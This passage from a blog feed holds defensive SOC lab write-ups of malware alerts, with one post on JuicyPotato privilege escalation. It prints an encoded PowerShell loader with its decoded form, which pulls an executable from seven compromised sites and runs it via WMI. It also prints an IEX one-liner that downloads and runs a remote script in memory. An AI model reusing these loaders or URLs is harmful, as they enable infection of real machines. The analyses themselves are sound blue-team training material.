src="https://cdn-images-1.medium.com/max/504/1*hu7BEGo0SuxI5hzMRf833w.jpeg" /></figure><h4><a href="https://www.hybrid-analysis.com/sample/9ac18061fd8c0db12ef5d5923d64b5626f0969757e41ad7b31da020a82d16b2e/636b1e16aaebbf7a4a32f48f">Hybrid-Analysis Report:</a></h4><p><a href="https://www.hybrid-analysis.com/sample/9ac18061fd8c0db12ef5d5923d64b5626f0969757e41ad7b31da020a82d16b2e/636b1e16aaebbf7a4a32f48f">https://www.hybrid-analysis.com/sample/9ac18061fd8c0db12ef5d5923d64b5626f0969757e41ad7b31da020a82d16b2e/636b1e16aaebbf7a4a32f48f</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/241/1*5rzH5TQWl2K5w5B4TKVsNw.jpeg" /></figure><blockquote>Feel free to check it yourself</blockquote><h3>𝐋𝐎𝐆 𝐀𝐍𝐀𝐋𝐘𝐒𝐈𝐒</h3><h4>𝐄𝐃𝐑 𝐋𝐨𝐠𝐬:</h4><p>Let’s check out Sofie’s EDR logs for any signs of compromise.</p><p>If we look at the terminal history logs, here’s what we find:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*L8rx8kNarp0bAc66mcMkXg.jpeg" /></figure><p>The full powershell command is:</p><pre>POwersheLL -ENCOD IAAgAHMAZQB0AC0ASQBUAEUATQAgAHYAYQByAGkAQQBCAEwAZQA6AGsAegBlAFEAbABVACAAIAAoAFsAdABZAFAAZQBdACgAJwBzAFkAJwArACcAcwBUAEUAbQAnACsAJwAuAGkAJwArACcAbwAuAGQASQByAEUAQwB0AE8AUgAnACsAJwBZACcAKQAgACAAKQAgACAAOwAgACAAcwBlAHQALQB2AGEAUgBJAGEAQgBMAGUAIAAgACgAJwByAEYARwAyADUAJwArACcANAAnACkAIAAgACgAIAAgAFsAVAB5AFAAZQBdACgAJwBTAFkAJwArACcAcwBUAEUAJwArACcAbQAnACsAJwAuAG4AJwArACcAZQBUAC4AcwBFAFIAJwArACcAVgBpAEMARQBwAG8AaQBOAFQAJwArACcAbQAnACsAJwBBAE4AYQBnAEUAJwArACcAcgAnACkAIAApADsAIAAgACAAUwBlAFQALQBpAHQAZQBNACAAKAAiAHYAQQAiACsAIgByAGkAQQAiACsAIgBCAGwAZQA6ADQARwBNAHMAIgApACAAKABbAHQAWQBQAGUAXQAoACcAUwBZAFMAVAAnACsAJwBlAE0AJwArACcALgBuAEUAdAAnACsAJwAuAFMAJwArACcARQAnACsAJwBDACcAKwAnAFUAJwArACcAcgBpAHQAWQBQAFIAbwBUAG8AJwArACcAYwBvAGwAVAB5AFAARQAnACkAIAApACAAIAA7ACAAJABXAHUAYQBtADcAagBlAD0AKAAnAFcANwA5AGgAJwArACcAcAAnACsAJwA3AHQAJwApADsAJABJADIAaABmADAAYwB3AD0AJABJADIAMwBkADYAZwB5ACAAKwAgAFsAYwBoAGEAcgBdACgAOAAwACAALQAgADMAOAApACAAKwAgACQATABiAHoAeQBmADcAagA7ACQAWgBfAGwAbwBjAGsAawA9ACgAJwBVACcAKwAnAGIAegBoAGQAZwBsACcAKQA7ACAAIAAkAGsAWgBFAFEAbABVADoAOgBDAFIARQBBAHQARQBkAGkAcgBlAEMAVABPAHIAeQAoACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAIAArACAAKAAoACcATwAnACsAJwBUAGYAVwA5ACcAKwAnAGwAdQAnACsAJwBkAGEAbgBPAFQAZgAnACsAJwBBAHYAJwArACcAZwBxAGsAagAzAE8AJwArACcAVABmACcAKQAgACAALQBjAHIARQBwAEwAYQBjAGUAIAAgACgAWwBDAGgAQQByAF0ANwA5ACsAWwBDAGgAQQByAF0AOAA0ACsAWwBDAGgAQQByAF0AMQAwADIAKQAsAFsAQwBoAEEAcgBdADkAMgApACkAOwAkAEIANwBkAHQAcwB5AG4APQAoACcAWAB6ADcAJwArACcANQB2AHIAZQAnACkAOwAgACAAKABnAGkAIAAgACgAIgB2ACIAKwAiAGEAUgBJAEEAQgBsAGUAOgBSACIAKwAiAGYARwAyADUANAAiACkAIAApAC4AVgBBAEwAdQBFADoAOgBTAGUAYwB1AFIAaQBUAFkAcABSAG8AVABPAEMATwBsACAAPQAgACAAIAAkADQAZwBNAHMAOgA6AHQATABTADEAMgA7ACQAUQA2AGkAcAB1AGUAaQA9ACgAJwBMACcAKwAnAGYAbAA0ACcAKwAnAHIAcQBoACcAKQA7ACQASQA1ADMAegBpAG0AbQAgAD0AIAAoACcAUwB0ACcAKwAnAHcAawAnACsAJwAzADEAdgAnACkAOwAkAFEAeABzAG4AcAByAGEAPQAoACcAWAAxAHYAagA5ADgAJwArACcAdgAnACkAOwAkAFIAYwBjAG0AbgB2AGcAPQAoACcATQB2AGQAJwArACcAYwA3ADYAaAAnACkAOwAkAEoAMAA5AHgAYQBmADIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0AJwArACcAVwA5AGwAdQBkAGEAbgAnACsAJwB7ADAAfQBBAHYAZwAnACsAJwBxAGsAagAzACcAKwAnAHsAMAAnACsAJwB9ACcAKQAgACAALQBGACAAWwBDAEgAQQBSAF0AOQAyACkAKwAkAEkANQAzAHoAaQBtAG0AKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEcAOQA0ADgAdwA2AHgAPQAoACcARABfACcAKwAnADgAMwAnACsAJwA2ADAAbQAnACkAOwAkAEkAYgBjAHUAbwBpADgAPQBuAGUAVwAtAG8AYABCAEoAYABFAEMAVAAgAE4AZQBUAC4AdwBlAGIAQwBsAEkAZQBOAFQAOwAkAEoAdgBtAG0AZgB5ADAAPQAoACcAaAB0ACcAKwAnAHQAcAA6ACcAKwAnAC8ALwAnACsAJwB0AHUAZAAnACsAJwBvAHIAJwArACcAaQBuACcAKwAnAHYAZQAnACsAJwBzAHQAJwArACcALgBjACcAKwAnAG8AJwArACcAbQAvAHcAcAAtAGEAZAAnACsAJwBtAGkAJwArACcAbgAvAHIARwAnACsAJwB0AG4AVQBiADUAZgAnACsAJwAvACcAKwAnACoAaAB0AHQAcAAnACsAJwA6ACcAKwAnAC8ALwBkAHAALQB3AG8AJwArACcAbQBlACcAKwAnAG4AYgBhACcAKwAnAHMAJwArACcAawBlACcAKwAnAHQALgBjACcAKwAnAG8AbQAnACsAJwAvAHcAcAAtACcAKwAnAGEAJwArACcAZABtACcAKwAnAGkAbgAvACcAKwAnAEwAaQAvACcAKwAnACoAJwArACcAaAAnACsAJwB0AHQAcAA6AC8ALwBzACcAKwAnAHQAeQBsAGUAZgBpAHgALgBjACcAKwAnAG8ALwAnACsAJwBnAHUAaQBsAGwAbwAnACsAJwB0ACcAKwAnAGkAJwArACcAbgBlAC0AYwAnACsAJwByAG8AJwArACcAcwAnACsAJwBzACcAKwAnAC8AJwArACcAQwAnACsAJwBUAFIATgBPAFEALwAqAGgAdAB0AHAAOgAvAC8AYQByAGQAJwArACcAbwBzAC4AYwBvACcAKwAnAG0ALgBiAHIALwBzAGkAbQAnACsAJwB1AGwAYQBkAG8AcgAvAGIAUABOACcAKwAnAHgALwAnACsAJwAqAGgAdAAnACsAJwB0AHAAJwArACcAOgAnACsAJwAvAC8AZAByAHQAaABlAHUAJwArACcAcgBlAGwAcAAnACsAJwBsAGEAcwB0AGkAYwBzAHUAJwArACcAcgBnAGUAJwArACcAcgB5AC4AJwArACcAYwBvAG0ALwAnACsAJwBnACcAKwAnAGUAbgAnACsAJwBlAHIAYQBsAG8ALwByAGgAJwArACcAcgBoAGYAbAAnACsAJwB2ADkAJwArACcAMgAvACoAJwArACcAaAB0AHQAcAA6AC8ALwBiAG8AZAB5AGkAbgBuACcAKwAnAG8AdgBhAHQAJwArACcAaQBvAG4AJwArACcALgBjAG8ALgB6ACcAKwAnAGEALwAnACsAJwB3AHAAJwArACcALQBjACcAKwAnAG8AbgB0AGUAbgB0AC8AMgBzAHMAJwArACcASAB2ACcAKwAnAGkALwAqAGgAdAB0AHAAOgAvAC8AJwArACcAbgBvAG0AYQBkAGMAbwAuACcAKwAnAGUAcwAnACsAJwAvAHcAcAAtACcAKwAnAGEAZAAnACsAJwBtAGkAbgAvAE0AdgB3AFYASABDAEcALwAnACkALgBTAFAATABJAFQAKAAkAFkAeQB4ADEAeQBqADkAIAArACAAJABJADIAaABmADAAYwB3ACAAKwAgACQATABjADcANQBuADAAcQApADsAJABOAHoAYQBhAGQAegBsAD0AKAAnAEwAZABoAG4AeQBwACcAKwAnAHYAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABQAGcAcABqADkAdwBhACAAaQBuACAAJABKAHYAbQBtAGYAeQAwACkAewB0AHIAeQB7ACQASQBiAGMAdQBvAGkAOAAuAGQAbwB3AG4ATABPAEEAZABGAGkATABlACgAJABQAGcAcABqADkAdwBhACwAIAAkAEoAMAA5AHgAYQBmADIAKQA7ACQARwBrAGUAaABpAHIAaQA9ACgAJwBaADIAJwArACcAcgB1ADAAJwArACcANAB4ACcAKQA7AEkAZgAgACgAKABnAEUAYABUAC0AYABJAFQAZQBNACAAJABKADAAOQB4AGEAZgAyACkALgBsAEUAbgBnAFQAaAAgAC0AZwBlACAAMgA2ADMANAA2ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACcAdwBpAG4AMwAnACsAJwAyAF8AUAByAG8AYwAnACsAJwBlAHMAcwAnACkAKQAuAEMAcgBlAEEAdABlACgAJABKADAAOQB4AGEAZgAyACkAOwAkAFYAagBnADkAbQAxAGoAPQAoACcAVgBrAHYAYgAnACsAJwB2AG4AJwArACcAYgAnACkAOwBiAHIAZQBhAGsAOwAkAEkAdgBjADYAagA2AGIAPQAoACcAWgAnACsAJwBiAG4AaAAyACcAKwAnADYAdwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEEANQA2AGcAcAB3ADgAPQAoACcAVwAnACsAJwA1ACcAKwAnAG8AZwB5ADAAcAAnACkA</pre><p>This is not a great sign. Whenever you see encoded commands running on a system, it definitely raises some red flags… <br>I’ll go ahead and decode this command so we can figure out exactly what it’s doing (I’ll use CyberChef for that)</p><pre># Type declarations<br>Set-Item variable:kzeQlU ([type](&#39;System.IO.Directory&#39;))<br>Set-Variable &#39;rFG254&#39; ([type](&#39;System.Net.ServicePointManager&#39;))<br>Set-Item &quot;variable:4gms&quot; ([type](&#39;System.Net.SecurityProtocolType&#39;))<br><br># Auxiliary variables<br>$wuam7je = &#39;w79hp7t&#39;<br>$i2hf0cw = $i23d6gy + [char]42 + $lbzyf7j  # 80 - 38 = 42 -&gt; &quot;*&quot;<br>$z_lockk = &#39;ubzhdgl&#39;<br>$b7dtsyn = &#39;xz75vre&#39;<br><br># Create directory under %USERPROFILE%\w9ludan\avgqkj3<br>$kzeQlU::CreateDirectory($env:USERPROFILE + (&#39;otfw9ludanotfavgqkj3otf&#39; -creplace &#39;Otf&#39;, [char]92))  # [char]92 = &quot;\&quot;<br><br># Set TLS protocol<br>(Get-Item &quot;variable:rFG254&quot;).Value::SecurityProtocol = $4gms::Tls12<br><br># Additional variables<br>$q6ipuei = &#39;lfl4rqh&#39;<br>$i53zimm = &#39;stwk31v&#39;<br>$qxsnpra = &#39;x1vj98v&#39;<br>$rccmnvg = &#39;mvdc76h&#39;<br>$j09xaf2 = $env:USERPROFILE + &quot;\w9ludan\avgqkj3\&quot; + $i53zimm + &quot;.exe&quot;<br>$g948w6x = &#39;d_8360m&#39;<br><br># Create WebClient object<br>$ibcuoi8 = New-Object Net.WebClient<br><br># Target URLs, separated by &quot;*&quot;<br>$jvmmfy0 = (<br>    &#39;http://tudorinvest.com/wp-admin/rGtnUb5f/&#39; +<br>    &#39;*http://dp-womenbasket.com/wp-admin/li/&#39; +<br>    &#39;*http://stylefix.co/guillotine-cross/ctrnoq/&#39; +<br>    &#39;*http://ardos.com.br/simulador/bpnx/&#39; +<br>    &#39;*http://drtheurelplasticsurgery.com/general0/rhrhflv92/&#39; +<br>    &#39;*http://bodyinnovation.co.za/wp-content/2sshvi/&#39; +<br>    &#39;*http://nomadco.es/wp-admin/mvwvhcg/&#39;<br>).Split(&quot;*&quot;)<br><br>$nzaadzl = &#39;ldhnypv&#39;<br><br># Download and execute loop<br>foreach ($pgpj9wa in $jvmmfy0) {<br>    try {<br>        $ibcuoi8.DownloadFile($pgpj9wa, $j09xaf2)<br><br>        $gkehiri = &#39;z2ru04x&#39;<br><br>        if ((Get-Item $j09xaf2).Length -ge 26346) {<br>            ([WmiClass](&#39;Win32_Process&#39;)).Create($j09xaf2)<br>            $vjg9m1j = &#39;vkvbvnb&#39;<br>            break<br>            $ivc6j6b = &#39;zbnh26w&#39;<br>        }<br>    } catch {<br>        # Suppress errors<br>    }<br>}<br><br>$a56gpw8 = &#39;w5ogy0p&#39;</pre><h4>Here’s how the script works:</h4><ul><li>It starts by setting up the environment using <strong>.NET</strong>.</li><li>After that, it makes a hidden directory at <strong>%USERPROFILE%\w9ludan\avgqkj3</strong>.</li><li>Then, it goes through <strong>several compromised websites</strong> and tries to download a <strong>malicious</strong> <strong>.exe</strong> file with <strong>WebClient</strong>.</li><li>It makes sure the file it downloads is at least<strong> 26,346 bytes</strong> to confirm it is the <strong>full payload</strong>.</li><li>If the file meets this requirement, the script runs the malware <strong>quietly</strong> using <strong>WMI</strong> with <strong>Win32_Process.Create</strong>.</li><li>All of this uses <strong>TLS 1.2</strong> for its connections.</li><li>To help it stay unnoticed, it uses random names for variables and paths, and <strong>hides</strong> any <strong>error</strong> messages.</li></ul><h4>𝐍𝐄𝐓 𝐋𝐨𝐠𝐬:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oEqbjd8alsLgK6MMFODAtQ.jpeg" /><figcaption>URL connection</figcaption></figure><h3>𝐂𝐚𝐬𝐞 𝐜𝐫𝐞𝐚𝐭𝐢𝐨𝐧 𝐚𝐧𝐝 𝐩𝐥𝐚𝐲𝐛𝐨𝐨𝐤 𝐟𝐨𝐥𝐥𝐨𝐰-𝐮𝐩:</h3><p>We’ve got enough info to say the endpoint got breached. The attacker ran some obfuscated PowerShell command, and the system reached out to one of the URLs in the script to pull down a payload. <br>I couldn’t find any more logs, no signs of malware running, no extra connections to command and control, and nothing else that looked suspicious. It just went quiet after that point. (Endpoint review should be done as soon as possible, just to make sure the log agents didn’t miss something.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*dFAbCRI-jsHzvkac-7pbZQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*5aKBNo95m6qqEV86kWrY8Q.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*YCldMevJWQLmDx9-6iIGBQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*WdyPbq9HrLrdQzxBnet8sQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*0A8IbXScwtBaA1HJLH1A-A.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/1*RixbxLlVCWmSzGmf-Rgw_A.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*wn075MJekt3Vco8ca9FGmA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*8pOz9Q5xNK9VqrRPl3gG8g.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*wNaEuVXIpvxLMPwsRuWZqw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ijAO6Ni8bHEyVo9UOhuACQ.jpeg" /></figure><h3>𝐀𝐧𝐚𝐥𝐲𝐬𝐭 𝐧𝐨𝐭𝐞:</h3><p>True Positive | Breach<br>An alert went off because Sofia’s computer accessed stylefix.co. The exact link was http://stylefix[.]co/guillotine[-]cross/CTRNOQ/. After checking the logs, two main things stood out.</p><p>First, the alert showed up on October 25, 2020, at 9:26 PM. But if you look closer at the network logs, the real breach happened earlier — October 19, 2020, at 10:17 PM. So, about six days before the alert.</p><p>Second, there was an encoded PowerShell command run on the machine. This command tried to download a suspicious executable from several different URLs and then run it if it downloaded okay.</p><p>Turns out, the machine did connect to at least one of those sites, so the breach actually happened. But, there’s no sign that anything else ran after that first download. No extra payloads, no command-and-control traffic, nothing like that.<br>The device has already been isolated, and further checks are underway to figure out how the PowerShell command got started. Nuke &amp; pave of the system is recommended to ensure the endpoint cleanup.</p><blockquote>If you’re new to this, don’t just copy the note — try making your own! Practice makes perfect.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f1605d223774" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC102 — EventID 35 — Suspicious URL Detected]]></title>
            <link>https://medium.com/@MateoPappa/soc102-eventid-35-suspicious-url-detected-ce3b9bff8734?source=rss-70d18e1abaf1------2</link>
            <guid isPermaLink="false">https://medium.com/p/ce3b9bff8734</guid>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[ ]]></dc:creator>
            <pubDate>Fri, 30 May 2025 19:39:54 GMT</pubDate>
            <atom:updated>2025-05-30T19:39:54.187Z</atom:updated>
            <content:encoded><![CDATA[<h3>SOC102 — EventID 35 — Suspicious URL Detected</h3><p>This is an unofficial guide to analyzing the<strong> SOC102 — EventID 35 — Suspicious URL Detected</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*cqDqbq4R3yuIkKv5zOOO2w.jpeg" /></figure><h3>Alert Details:</h3><pre>EventID :                 35<br>Event Time :              Dec, 06, 2020, 01:33 PM<br>Rule :                    SOC102 - Proxy - Suspicious URL Detected<br>Level :                   Security Analyst<br>Source Address :          172.16.17.51<br>Source Hostname :         Aldo<br>Destination Address :     66.198.240.56<br>Destination Hostname :    interalliance.org<br>Username :                aldo<br>Request URL :             https://interalliance.org/come2/holme/folde/swiftcopy.ps1<br>User Agent :              Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063<br>Device Action :           Allowed</pre><p>Alright, here’s what I found looking over the alert details:</p><p>So, “interalliance[.]org” is actually a real NGO, go ahead and check it, it’s clean.<br>But then you spot this weird path: “<strong>/come2/holme/folde/swiftcopy.ps1</strong>”.<br>That’s pretty suspicious. Doesn’t really fit with what you’d expect from a normal nonprofit site.</p><blockquote>This is an old alert, so, it’s one of those “<strong>figure it out with barely anything</strong>” situations. Feels like getting dropped into a CTF with one clue and no context. <em>😆</em><br><em>I promise, once I’m done with these old alerts, I’ll move on to the new ones, but I’ve got to wrap these up first.</em></blockquote><h4>Reports Used:</h4><p>These are the only reports I could find that actually flag the <strong>URL</strong> as “<strong>Malicious</strong>” or “<strong>Ambiguous</strong>”.</p><h4><a href="https://www.hybrid-analysis.com/sample/c1b519da6034a9abbe2dd29cf51245be5831567b69788002cf66b4d5deb15493/636d79169f1ba87e6b21acb9">Hybrid-Analysis:</a></h4><p><a href="https://www.hybrid-analysis.com/sample/c1b519da6034a9abbe2dd29cf51245be5831567b69788002cf66b4d5deb15493/636d79169f1ba87e6b21acb9">https://www.hybrid-analysis.com/sample/c1b519da6034a9abbe2dd29cf51245be5831567b69788002cf66b4d5deb15493/636d79169f1ba87e6b21acb9</a></p><h4><a href="https://any.run/report/dac6a8c1990738cf7ab5e74ef3ba7ed3075640a374be80804db42e5ce1cd53e2/44b90d2f-0e62-4110-b389-7705ce363527#General">Any.run:</a></h4><p><a href="https://any.run/report/dac6a8c1990738cf7ab5e74ef3ba7ed3075640a374be80804db42e5ce1cd53e2/44b90d2f-0e62-4110-b389-7705ce363527#General">https://any.run/report/dac6a8c1990738cf7ab5e74ef3ba7ed3075640a374be80804db42e5ce1cd53e2/44b90d2f-0e62-4110-b389-7705ce363527#General</a></p><p>Feel free to check them out, but there’s not a lot of juicy info inside.</p><h3>𝐄𝐃𝐑 𝐋𝐨𝐠𝐬:</h3><p>After checking EDR Logs, I found the following on Aldo’s endpoint</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nviqaq6tjU15KTzxLSJtZQ.jpeg" /></figure><p>The split command is:</p><pre>C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe -ExecutionPolicy UnRestricted -Windo 1 <br>$en=[string][char[]]@(0x49,0x45,0x78) -replace &#39; &#39;,&#39;&#39;;       #Build the word &quot;IEx&quot;<br>sal s $en;                                                   #basically creates a shortcut where &quot;s = IEx&quot; (Invoke-Expression). S acts like Invoke-Expression...<br>$tc=((New-Object Net.WebClient)).DownloadString(&#39;https://interalliance.org/come2/holme/folde/swiftcopy.ps1&#39;);<br>s $tc                                                        #Executes the downloaded file with IEx</pre><p>Basically: <br>1. Downloads the script “<strong>swiftcopy.ps1</strong>” from that URL<br>2. It executes it <strong>directly in memory</strong> using<strong> IEx</strong><br>This is a classic Living Off The Land (<strong>LOLBAS</strong>) tactic, used a lot with powershell stagers or malware loaders</p><p><em>There’s no way Aldo ran this command by accident or for something legit. We’re definitely looking at a true positive here. No debate. But let’s keep going a bit, just in case.</em></p><h3>𝐍𝐄𝐓 𝐋𝐨𝐠𝐬:</h3><p>The only thing that I found here, is the confirmation of the conection to the ip of “interalliance.org” (66.198.240.56)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q_vyf5BUnbQVFAw--cNElA.jpeg" /></figure><h3>𝐂𝐚𝐬𝐞 𝐂𝐫𝐞𝐚𝐭𝐢𝐨𝐧 𝐅𝐨𝐫 𝐓𝐡𝐞 𝐀𝐥𝐞𝐫𝐭:</h3><p>We’ve got enough to treat this case as a<strong> True Positive</strong>:<br>‣ Sure, we don’t have the <strong>“swiftcopy.ps1”</strong> file to actually check what’s inside and see if it’s bad or not.<br>‣ There’s a really suspicious URL visited using an unusual PowerShell command.<br>‣ NET Logs confirm the connection actually happened.</p><p>Honestly, that’s solid enough for me.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*r2Mgbj6GbiYTm3roj4ySBA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*fONPCS31_X_R8ZDdW5g-FA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*6B5ya8Isc_xCMRMWTmRKxA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*m2_QIVpF7gikcQ0RZ4jgwg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*1v36Nt0ezxk3HjUcLincFg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*JyKL-H1LfiMz6XxpdjiYug.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*lCAq8JwoQcbBFANISPbsAQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*taG8Ff-3psnE-ozM9U3Czg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*A5plkbm9YnVJMuBRv7gTbQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YrIozoKrtC5a8EqBRrapQg.jpeg" /></figure><h3>𝐀𝐧𝐚𝐥𝐲𝐬𝐭 𝐧𝐨𝐭𝐞:</h3><p>True Positive | Breach<br>On Dec 6, 2020, at 1:33 PM, an alert popped up after a suspicious PowerShell command was executed on Aldo’s computer, which reached out to a strange URL.</p><p>The command basically:<br>- Downloads the script swiftcopy.ps1 from the URL<br>- Executes it directly in memory using IEX</p><p>The domain<strong> (interalliance.org)</strong> is a legit <strong>NGO</strong> site, but the path <strong>/come2/holme/folde/swiftcopy.ps1</strong> is wierd. Likely the site was compromised and used to host the malicious script.<br>The way the command is built clearly points to a<strong> LOLBAS </strong>attack (No chance Aldo ran this by hand)<br><strong>Network</strong> and <strong>firewall</strong> logs confirm the connection.<br>- Acquire and analyze memory<br>- Look for any signs of persistence<br>- Search across the environment for similar commands or anyone accessing the same URL</p><blockquote>If you’re new to this, don’t just copy the note — try making your own! Practice makes perfect.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ce3b9bff8734" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC107 — EventID 48 — Privilege Escalation Detected]]></title>
            <link>https://medium.com/@MateoPappa/soc107-eventid-48-privilege-escalation-detected-853665b14e73?source=rss-70d18e1abaf1------2</link>
            <guid isPermaLink="false">https://medium.com/p/853665b14e73</guid>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[ ]]></dc:creator>
            <pubDate>Thu, 29 May 2025 17:50:14 GMT</pubDate>
            <atom:updated>2025-05-29T17:50:14.796Z</atom:updated>
            <content:encoded><![CDATA[<h3>SOC107 — EventID 48 — Privilege Escalation Detected</h3><p>This is an unofficial guide to analyzing the <strong>SOC107 — EventID 48 — Privilege Escalation Detected</strong></p><h3>Alert Details:</h3><pre>EventID :             48<br>Event Time :          Jan, 31, 2021, 04:20 PM<br>Rule :                SOC107 - Privilege Escalation Detected<br>Level :               Security Analyst<br>Source Address :      172.16.17.45<br>Source Hostname :     RichardPRD<br>File Name :           JuicyPotato.exe<br>File Hash :           808502752ca0492aca995e9b620d507b<br>File Size :           340 KB<br>Device Action :       Allowed</pre><p>Alright, so here’s a quick recap, kind of like those Marvel “previously on” moments. <br>In <a href="https://medium.com/@MateoPappa/soc111-eventid-46-traffic-to-malware-domain-7580057e3425">Part 2</a>, <strong>network.exe </strong>made its entrance, fresh from a sketchy (part 1) <strong>Excel file</strong>. That file “<strong>network.exe”</strong> was acting as a stager, trying to talk to some command and control server. <br>Now we’re on alert three and suddenly <strong>JuicyPotato.exe</strong> shows up. <br>For anyone who follows these things, “<strong>JuicyPotato”</strong> is basically the “usual suspect” for privilege escalation (its an old version of a <strong>“potato”</strong> but anyways, if the OS is old, it still works).</p><h3>¿What I see on our EDR logs?</h3><p>So, before we dive into poking around with the JuicyPotato file, let’s take a look at the EDR logs and check if the file actually ran. No point in overthinking if nothing happened, right?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BzRRwgOM13BJn2fosa2HXg.jpeg" /></figure><p>Dang it 😅<br>JuicyPotato.exe did get executed on Richard’s endpoint. Typical, right? But honestly, there are no new C2 connections, no signs of lateral movement, and the network logs are just as exciting as a Monday morning. Everything points to this binary just trying to get some local privilege escalation, and then… nothing?<br>Unless, of course, we’re missing some logs. <br>Wouldn’t be the first time, you know? But hey, don’t panic. I’m still here, your trusty junior SOC analyst who enjoys messing around with suspicious files. So, I’ll explain what we should have seen if the logs were actually set up right or, I don’t know, just complete.<br>(Maybe they aren’t because this alert is pretty old and there’ve been some database hiccups. Someday we’ll get to the newer alerts, but for now, we’ve got to finish up with these classics.)</p><h3>𝐉𝐮𝐢𝐜𝐲𝐏𝐨𝐭𝐚𝐭𝐨.𝐞𝐱𝐞 𝐀𝐧𝐚𝐥𝐲𝐬𝐢𝐬:</h3><p>For the analisis we will be using the following reports:<br>I’ll sum them up for you (who’s got time to read every last page right?), but if you want to dig deeper, you can always check them out yourself for more details.</p><h4>VirusTotal:</h4><p>‣<a href="https://www.virustotal.com/gui/file/0f56c703e9b7ddeb90646927bac05a5c6d95308c8e13b88e5d4f4b572423e036">https://www.virustotal.com/gui/file/0f56c703e9b7ddeb90646927bac05a5c6d95308c8e13b88e5d4f4b572423e036</a></p><h4>HybridAnalysis:</h4><p>‣<a href="https://www.hybrid-analysis.com/sample/0f56c703e9b7ddeb90646927bac05a5c6d95308c8e13b88e5d4f4b572423e036/635aabde8610042d112bbdd6">https://www.hybrid-analysis.com/sample/0f56c703e9b7ddeb90646927bac05a5c6d95308c8e13b88e5d4f4b572423e036/635aabde8610042d112bbdd6</a></p><h4>Ohpe GitHub:</h4><p>‣<a href="https://github.com/ohpe/juicy-potato">https://github.com/ohpe/juicy-potato</a></p><h4>Shuciran GitHub:</h4><p>‣<a href="https://shuciran.github.io/posts/SeImpersonatePrivilege/">https://shuciran.github.io/posts/SeImpersonatePrivilege/</a></p><h4>Potato’s Research:</h4><p>‣<a href="https://jlajara.gitlab.io/Potatoes_Windows_Privesc">https://jlajara.gitlab.io/Potatoes_Windows_Privesc</a><br>‣<a href="https://jlajara.gitlab.io/Potatoes_Windows_Privesc#juicyPotato:~:text=Juicy%20Potato.-,Juicy%20Potato,-Juicy%20Potato%20is">https://jlajara.gitlab.io/Potatoes_Windows_Privesc#juicyPotato:~:text=Juicy%20Potato.-,Juicy%20Potato,-Juicy%20Potato%20is</a><br><strong>↑ Same report but JuicyPotato</strong></p><h3>𝐖𝐡𝐚𝐭 𝐢𝐬 𝐉𝐮𝐢𝐜𝐲𝐏𝐨𝐭𝐚𝐭𝐨?</h3><p>It’s a tool for privilege escalation on Windows systems. The idea is to take advantage of a weakness in the Windows COM service, letting someone go from a regular, low-privileged user all the way up to SYSTEM, which is basically the king of the castle (highest privilege level). This method comes from an older trick called RottenPotato, but JuicyPotato is a bit more flexible and easier to use.</p><p>Unlike some remote exploits, this is purely <strong>local</strong>: the attacker must already have some code execution 